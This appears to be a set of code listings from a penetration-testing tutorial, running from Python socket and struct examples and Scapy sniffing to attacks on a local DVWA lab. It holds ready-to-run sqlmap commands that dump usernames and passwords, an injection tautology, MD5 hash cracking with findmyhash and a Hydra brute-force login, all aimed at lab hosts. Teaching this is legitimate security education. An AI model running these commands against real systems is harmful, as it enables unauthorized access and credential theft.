//code for server side

#!/usr/bin/python2.7

#### is life really beautiful? ####

\_\_author\_\_ = "ss"

import socket

import struct

host = "192.168.2.2"

port = 8080

mySocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

mySocket.bind((host, port))

mySocket.listen(1)

connection, address = mySocket.accept()

print("Connected to ", address)

# struct pack method passes two parameters - format string and values

message = struct.pack('hhl', 1, 2, 3)

connection.send(message)

connection.close()

-----------

// code for client side

#!/usr/bin/python2.7

#### self-control is the key ####

\_\_author\_\_ = "ss"

import socket

import struct

host = "192.168.2.2"

port = 8080

# creating an INET, and raw socket

mySocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

mySocket.connect((host, port))

# recieving buffersize

message = mySocket.recv(1024)

print(message)

print(struct.unpack('hhl', message))

mySocket.close()

--------------

//code of struct pack methods

ss@ss-H81M-S1:~$ python2.7

Python 2.7.6 (default, Nov 23 2017, 15:49:48)

[GCC 4.8.4] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import struct

>>> struct.pack('b', 1)

'\x01'

>>> struct.pack('i', 1)

'\x01\x00\x00\x00'

>>> struct.pack('q', 1)

'\x01\x00\x00\x00\x00\x00\x00\x00'

>>> struct.pack('d', 1)

'\x00\x00\x00\x00\x00\x00\xf0?'

>>> struct.pack('x', 1)

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

struct.error: pack expected 0 items for packing (got 1)

>>>

-------------

// If you want to open it as a user, it will crack a joke first.

//code as a Kali Linux user

pg@kali:~$ sniffjoke

SniffJoke is too dangerous to be run by a humble user; go to fetch daddy root, now!

--------

//PHP code from SniffJoke Github page

<?php

if(isset($\_POST['sparedata'])) {

for($x = 0; $x < strlen($\_POST['sparedata']); $x++)

{

if( is\_numeric($\_POST['sparedata'][$x]) )

continue;

echo "bad value in $x offset";

exit;

}

echo $\_POST['sparedata'];

}

?>

---------

//code for sniffjoke

root@kali:~# sniffjoke-autotest -l snif -d /usr/var/sniffjoke/ -s \https://sanjibsinha.com/sniff.php -a 10.0.2.2

------------

// code to get data from “segmentation” folder

root@kali:/tmp/test# cd ..

root@kali:/tmp# cd home/

root@kali:/tmp/home# ls

generic LAN.info plugins-testsuite segmentation SPAREDATA\_plugin

root@kali:/tmp/home# cd segmentation/

root@kali:/tmp/home/segmentation# ls

INNOCENT

root@kali:/tmp/home/segmentation# cd INNOCENT/

root@kali:/tmp/home/segmentation/INNOCENT# ls

replica-1

root@kali:/tmp/home/segmentation/INNOCENT# cd replica-1/

root@kali:/tmp/home/segmentation/INNOCENT/replica-1# ls

dumpService\_stat.log iptcp-options.conf ipwhitelist.conf route-after.log sniffjoke-service.conf

-------------

//code for runing SniffJoke

root@kali:~# sniffjoke --location home

----------

//code using Scapy

>>> lsc()

arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple

arping : Send ARP who-has requests to determine which hosts are up

bind\_layers : Bind 2 layers on some specific fields' values

bridge\_and\_sniff : Forward traffic between two interfaces and sniff packets exchanged

corrupt\_bits : Flip a given percentage or number of bits from a string

corrupt\_bytes : Corrupt a given percentage or number of bytes from a string

defrag : defrag(plist) -> ([not fragmented], [defragmented])

----------------

//sniff using scapy

>>> packets = sniff(filter="icmp", iface="eth0")

--------------

root@kali:~# ping 192.168.2.2

------------

//showing captured packets in detail

>>> packets[3][0]

------------

//source of the captured-packet

>>> packets[3][1].src

'192.168.2.2'

>>> packets[3].show()

###[ Ethernet ]###

dst= 08:00:27:e1:c3:47

src= 52:54:00:12:35:02

type= 0x800

###[ IP ]###

version= 4L

ihl= 5L

tos= 0x0

len= 84

id= 7979

flags= DF

frag= 0L

ttl= 63

proto= icmp

chksum= 0x4dc5

src= 192.168.2.2

dst= 10.0.2.15

\options\

###[ ICMP ]###

type= echo-reply

code= 0

chksum= 0x2baa

id= 0x70f

seq= 0x2

###[ Raw ]###

load= '\x11\x0e\x06[\x00\x00\x00\x00\xf7\x08\x00\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()\*+,-./01234567'

>>>

---------------

//SQL statement used for injection

SELECT id, name, description FROM employee WHERE ID = 1

-------------

//executing queries in database

SELECT id, name, description FROM employee WHERE ID = 1 AND 1=1

-------------

//code to install mysql on Linux

sudo apt-get install mysql-client-core-5.5

sudo apt-get install mysql-server

--------------

//code for creating database

MariaDB [(none)]> create database dvwa;

Query OK, 1 row affected (0.00 sec)

MariaDB [(none)]> grant all on dvwa.\* to dvwa@localhost identified by 'xxx';

Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> flush privileges;

Query OK, 0 rows affected (0.00 sec)

---------------

//creating "users" table in Kali Linux MariaDB DVWA database

MariaDB [(none)]> use dvwa;

Database changed

MariaDB [dvwa]> create table users (username char(20),password char(20));

Query OK, 0 rows affected (0.06 sec)

MariaDB [dvwa]> DESCRIBE users;

+----------+----------+------+-----+---------+-------+

| Field | Type | Null | Key | Default | Extra |

+----------+----------+------+-----+---------+-------+

| username | char(20) | YES | | NULL | |

| password | char(20) | YES | | NULL | |

+----------+----------+------+-----+---------+-------+

2 rows in set (0.00 sec)

-------------

//DVWA users table

mysql> select \* from users;

+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+

| user\_id | first\_name | last\_name | user | password | avatar | last\_login | failed\_login |

+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+

| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg | 2018-05-25 10:06:01 | 0 |

| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2018-05-25 10:06:01 | 0 |

| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg | 2018-05-25 10:06:01 | 0 |

| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg | 2018-05-25 10:06:01 | 0 |

| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg | 2018-05-25 10:06:01 | 0 |

+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+

----------------

//sqlmap code

sqlmap -u http://localhost/DVWA-master/vulnerabilities/sqli\_blind/?id=2&Submit=Submit&user\_token=9291212683a725ec75f8acf41d519a50# --dbs

-------------

//to show the database tables using sqlmap

sqlmap -u http://localhost/DVWA-master/vulnerabilities/sqli\_blind/?id=2&Submit=Submit&user\_token=9291212683a725ec75f8acf41d519a50# -D dvwa –tables

------------

//getting all usernames and passwords

sqlmap -u http://localhost/DVWA-master/vulnerabilities/sqli\_blind/?id=2&Submit=Submit&user\_token=9291212683a725ec75f8acf41d519a50# -C user, password –dump

---------------

//breaking the hash using "findmyhash"

findmyhash MD5 -h 3691308F2A4C2F6983F2880D32E29C84

----------------

//password attack using Hydra

root@kali:~# hydra -l admin -P passlist 192.168.2.2 http-post-form "/DVWA-master/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" -V

--------------